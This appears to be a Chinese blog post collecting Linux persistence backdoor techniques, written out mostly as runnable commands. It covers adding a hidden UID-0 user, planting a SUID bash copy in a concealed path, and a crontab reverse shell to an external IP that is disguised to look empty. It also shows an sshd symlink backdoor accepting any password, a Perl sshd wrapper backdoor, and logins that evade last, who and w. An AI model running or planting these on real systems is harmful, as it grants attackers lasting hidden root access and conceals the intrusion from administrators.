前言
收集復現下網上linux後門姿勢,一起學習下。
這張圖特別好
添加超級用戶
某些情況下是沒有回顯的,可以用一句話直接添加用戶
1、useradd guest;echo 'guest:123456'|chpasswd
2、useradd -p `openssl passwd 123456` guest
3、useradd -p "$(openssl passwd 123456)" guest
4、useradd newuwer;echo -e "123456n123456n" |passwd newuser
然後把我們添加的用戶賦予root權限
echo "guest:x:0:0::/:/bin/sh" >> /etc/passwd
echo 'guest:123456'|chpasswd
有些時候添加不成功是因爲用戶策略可以適當加強密碼強度
有些也會限制root權限用戶遠程登錄
SUID shell
Suid shell是一種可用於以擁有者權限運行的shell,如果擁有者是root
那麼任何運行了這個shell的用戶便可以控制整個系統,如增加用戶、修改root口令、清除日誌等等。
root權限下執行
cp /bin/bash /.test
chmod 4755 /.test
這個放的目錄要儘可能隱蔽,最好是子子子目錄然後找一個相似的命名。
切換普通用戶
/.test
不過bash2針對suid做了一些措施 加個參數就行
/.test -p
euid:effective user ID:有效用戶ID,指進程執行時對文件的訪問權限
inetd
修改/etc/inetd.conf
nc直接連接
還可以配合修改修改/etc/service 改爲常用端口隱藏
Crontab後門
redis未授權訪問也是利用這個,我們可以設置沒隔一段時間反彈一次shell
(crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/xxx.xxx.xxx.xxx/4444;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -
ssh公鑰免密
redis也有用到不多說了
ssh-keygen -t rsa
把自己本地生成的公鑰id_rsa.pub傳到目標服務器
chmod 600 ~/.ssh/authorized_keys
chmod 700 ~/.ssh
實戰受限且很容易被發現
ssh軟連接
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;
直接ssh連接5555端口就行,密碼隨便輸入。但是有些限制了root不許遠程登錄不能指定root用戶。
軟連接其實是利用了pam驗證後續過程對pam_rootok模塊的驗證信任。
http://www.91ri.org/16803.html
SSH wrapper後門
cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart
連接:
socat STDIO TCP4:target_ip:22,sourceport=13377
說句實在話每太看明白,反正命令敲上去就連上了…
PAM
https://github.com/litsand/shell/blob/master/pam.sh
自動化腳本
Openssh
https://www.tuicool.com/articles/eIv22az
實戰的確會遇到各種問題 (ps:本機都各種問題)
隱身登錄
隱身登錄系統,不會被last who w等指令檢測到
ssh -T username@host /bin/bash -i
ssh -o UserKnownHostsFile=/dev/null -T user@host
/bin/bash -if
RootKit
安裝了mafix剛執行媽的把老子環境都刪了,現在連命令都執行不了…
心態爆炸!!!
收集後門
https://github.com/iamckn/backdoors
參考鏈接: